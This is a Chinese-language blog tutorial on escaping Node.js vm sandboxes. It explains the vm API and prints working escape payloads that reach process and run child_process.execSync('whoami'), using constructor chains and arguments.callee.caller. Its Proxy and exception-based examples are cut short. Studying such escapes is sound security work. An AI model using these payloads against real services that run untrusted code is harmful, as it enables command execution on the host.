VM沙箱逃逸
VM沙箱基本概念和使用
什么是沙箱
沙箱就是我们开辟出的单独运行代码的环境,与主机相互隔离,从而使得代码并不会影响主机上的功能。
沙箱的使用
在nodejs中,我们可以通过引入vm和vm2模块来创建沙箱,由于vm太容易逃逸,安全性不高,所以后面发展出了vm2。
上下文对象:一个普通的js对象,里面有值有方法,将其传入沙箱就变成了上下文对象,里面的值和方法只对沙箱内生效。
vm模块常用的方法:
vm.runinThisContext(code)
:在当前global下创建一个作用域(sandbox),并将接收到的参数当作代码运行。sandbox中可以访问到global中的属性,但无法访问其他包中的属性。vm.createContext([sandbox])
: 在使用前需要先创建一个上下文对象,再将上下文对象传给该方法(如果没有则会生成一个空的上下文对象),v8为这个上下文对象在当前global外再创建一个作用域,此时这个上下文对象就是这个作用域的全局对象,沙箱内部无法访问global中的属性。vm.runInContext(code, contextifiedSandbox[, options])
:参数为要执行的代码和创建完作用域的上下文对象,代码会在传入的上下文对象中执行,并且参数的值与上下文内的参数值相同。vm.runInNewContext(code[, sandbox][, options])
: creatContext和runInContext的结合版,传入要执行的代码和上下文对象。vm.Script类
vm.Script类型的实例包含若干预编译的脚本,这些脚本能够在特定的沙箱(或者上下文)中被运行。new vm.Script(code, options)
:创建一个新的vm.Script对象只编译代码但不会执行它。编译过的vm.Script此后可以被多次执行,也就是写成了一个脚本。
简单来说,除了runinThisContext,其他沙箱内都无法访问到global属性。
1 | const util = require('util'); // 引入 Node.js 内置模块 util |
插播一下util模块的作用:Node.js 内置模块 util
提供了一些实用的函数,可以用于简化 JavaScript 编程中的一些常见任务。这些函数包括:
util.format()
:类似于console.log()
,用于格式化输出字符串。util.inspect()
:用于将 JavaScript 对象转换为字符串形式,便于调试和输出。util.promisify()
:将基于回调的异步函数(例如 Node.js 中的许多 API)转换为返回 Promise 的函数,便于使用async/await
。util.inherits()
:用于实现对象之间继承关系的函数。util.types
:提供了一些常见 JavaScript 数据类型的判断函数,例如util.types.isDate()
、util.types.isArray()
等
VM沙箱逃逸
沙箱逃逸的原理与目标
逃逸的意思就是从沙箱这个封闭的环境中逃出来,**==终极目标是获取全局对象global的全局变量process==,因为有了process我们就可以在nodejs中进行命令执行,具体语句如下:==process.mainModule.require('child_process').execSync('whoami').toString()
**==
获取process的常见方法
这些方法使用于vm沙箱逃逸,同时奠定了vm2的沙箱逃逸基本思想。
通过this对象进行获取
1
2
3const vm = require("vm");
const y1 = vm.runInNewContext(`this.constructor.constructor('return process')()`);// 使用反引号包裹代码串可以更好执行
console.log(y1);this对象指的是传进来的上下文对象本身,事实上这个对象并不属于沙箱环 境(因为它是在外面创建的)
通过访问他的构造方法的构造器,我们得到了一个构造方法的构造器,并 构造一个方法体是return process
的方法,并加上括号执行,我们就获得了process
将第一个constructor替换成toString也是一样的,获得到沙箱外方法的构造器即可。this为null
此时this->null,无法像之前一样逃逸,这时候就得用到函数的一个内置对象属性arguments.callee.caller
,我们只要在沙箱内定义一个函数,然后在沙箱外调用这个函数,那么这个函数的arguments.callee.caller就会返回沙箱外的一个对象,我们在沙箱内就可以进行逃逸了1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16const vm = require('vm');
const script =
`(() => {
const a = {}
a.toString = function () {
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return process'))();
return p.mainModule.require('child_process').execSync('whoami').toString()
}
return a
})()`;
const sandbox = Object.create(null);
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log('Hello ' + res)
成功执行了命令
分析一下这段代码,首先是箭头函数:
重写了沙盒对象中的toString方法,然后再console.log触发,通过arguments.callee.caller
获取到了一个沙盒外的对象,进而和上面一样获取process
proxy劫持
如果沙箱外没有执行字符串的相关操作来触发这个toString,并且也没有可以用来进行恶意重写的函数,我们可以用Proxy来劫持属性
proxy就是一个hook函数,在我们去访问对象的属性时(不管是否存在)都会触发这个函数
1 | const vm = require("vm"); |
如上代码就是将对象a实例化为了一个Proxy对象,然后访问abc属性(不存在)触发get方法,进而导致命令执行
借助异常处理
1 | const vm = require("vm"); |
上述代码的返回值无法直接利用,应该说是没有返回值
这里我们用catch捕获到了throw出的proxy对象,在console.log时由于将字符串与对象拼接,将报错信息和rce的回显一起带了出来。
- Title: VM沙箱逃逸
- Author: Saofe1a
- Created at : 2024-12-02 19:48:17
- Updated at : 2024-12-02 19:47:29
- Link: https://saofeia.github.io/2024/12/02/VM沙箱逃逸/
- License: This work is licensed under CC BY-NC-SA 4.0.